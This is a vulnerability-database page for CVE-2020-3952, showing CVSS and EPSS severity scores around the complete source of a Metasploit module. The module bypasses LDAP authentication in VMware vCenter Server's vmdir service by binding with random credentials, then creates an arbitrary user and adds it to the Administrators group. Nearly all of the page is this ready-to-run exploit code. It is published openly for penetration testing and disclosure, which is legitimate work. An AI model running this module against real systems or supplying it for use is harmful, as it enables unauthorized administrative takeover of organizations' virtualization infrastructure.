9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.4 High
AI Score
Confidence
High
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
0.758 High
EPSS
Percentile
98.1%
This module bypasses LDAP authentication in VMware vCenter Server’s vmdir service to add an arbitrary administrator user. Version 6.7 prior to the 6.7U3f update is vulnerable, only if upgraded from a previous release line, such as 6.0 or 6.5. Note that it is also possible to provide a bind username and password to authenticate if the target is not vulnerable. It will add an arbitrary administrator user the same way.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::LDAP
include Msf::Exploit::Remote::CheckModule
def initialize(info = {})
super(
update_info(
info,
'Name' => 'VMware vCenter Server vmdir Authentication Bypass',
'Description' => %q{
This module bypasses LDAP authentication in VMware vCenter Server's
vmdir service to add an arbitrary administrator user. Version 6.7
prior to the 6.7U3f update is vulnerable, only if upgraded from a
previous release line, such as 6.0 or 6.5.
Note that it is also possible to provide a bind username and password
to authenticate if the target is not vulnerable. It will add an
arbitrary administrator user the same way.
},
'Author' => [
'Hynek Petrak', # Discovery
'JJ Lehmann', # Analysis and PoC
'Ofri Ziv', # Analysis and PoC
'wvu' # Module
],
'References' => [
['CVE', '2020-3952'],
['URL', 'https://www.guardicore.com/2020/04/pwning-vmware-vcenter-cve-2020-3952/'],
['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0006.html'],
['URL', 'https://github.com/HynekPetrak/HynekPetrak/blob/master/take_over_vcenter_670.md']
],
'DisclosureDate' => '2020-04-09', # Vendor advisory
'License' => MSF_LICENSE,
'Actions' => [
['Add', { 'Description' => 'Add an admin user' }]
],
'DefaultAction' => 'Add',
'DefaultOptions' => {
'SSL' => true,
'CheckModule' => 'auxiliary/gather/vmware_vcenter_vmdir_ldap'
},
'Notes' => {
'Stability' => [SERVICE_RESOURCE_LOSS],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],
'Reliability' => []
}
)
)
register_options([
Opt::RPORT(636), # SSL/TLS
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
OptString.new('NEW_USERNAME', [false, 'Username of admin user to add']),
OptString.new('NEW_PASSWORD', [false, 'Password of admin user to add'])
])
end
def new_username
datastore['NEW_USERNAME']
end
def new_password
datastore['NEW_PASSWORD']
end
def base_dn
@base_dn ||= 'dc=vsphere,dc=local'
end
def user_dn
"cn=#{new_username},cn=Users,#{base_dn}"
end
def group_dn
"cn=Administrators,cn=Builtin,#{base_dn}"
end
def run
unless new_username && new_password
print_error('Please set the NEW_USERNAME and NEW_PASSWORD options to proceed')
return
end
# NOTE: check is provided by auxiliary/gather/vmware_vcenter_vmdir_ldap
checkcode = check
return unless checkcode == Exploit::CheckCode::Vulnerable
if (@base_dn = datastore['BASE_DN'])
print_status("User-specified base DN: #{base_dn}")
else
# HACK: We stashed the detected base DN in the CheckCode's reason
@base_dn = checkcode.reason
end
ldap_connect do |ldap|
print_status("Bypassing LDAP auth in vmdir service at #{peer}")
auth_bypass(ldap)
print_status("Adding admin user #{new_username} with password #{new_password}")
unless add_admin(ldap)
print_error("Failed to add admin user #{new_username}")
end
end
rescue Net::LDAP::Error => e
print_error("#{e.class}: #{e.message}")
end
# This will always return false, since the creds are invalid
def auth_bypass(ldap)
# when datastore['BIND_DN'] has been provided in options,
# ldap_connect has already made a bind for us.
return if datastore['USERNAME'] && ldap.bind
ldap.bind(
method: :simple,
username: Rex::Text.rand_text_alphanumeric(8..42),
password: Rex::Text.rand_text_alphanumeric(8..42)
)
end
def add_admin(ldap)
user_info = {
'objectClass' => %w[top person organizationalPerson user],
'cn' => new_username,
'sn' => 'vsphere.local',
'givenName' => new_username,
'sAMAccountName' => new_username,
'userPrincipalName' => "#{new_username}@VSPHERE.LOCAL",
'uid' => new_username,
'userPassword' => new_password
}
# Add our new user
unless ldap.add(dn: user_dn, attributes: user_info)
res = ldap.get_operation_result
case res.code
when Net::LDAP::ResultCodeInsufficientAccessRights
print_error('Failed to bypass LDAP auth in vmdir service')
when Net::LDAP::ResultCodeEntryAlreadyExists
print_error("User #{new_username} already exists")
when Net::LDAP::ResultCodeConstraintViolation
print_error("Password #{new_password} does not meet policy requirements")
else
print_error("#{res.message}: #{res.error_message}")
end
return false
end
print_good("Added user #{new_username}, so auth bypass was successful!")
# Add our user to the admin group
unless ldap.add_attribute(group_dn, 'member', user_dn)
res = ldap.get_operation_result
if res.code == Net::LDAP::ResultCodeAttributeOrValueExists
print_error("User #{new_username} is already an admin")
else
print_error("#{res.message}: #{res.error_message}")
end
return false
end
print_good("Added user #{new_username} to admin group")
true
end
end
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.4 High
AI Score
Confidence
High
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
0.758 High
EPSS
Percentile
98.1%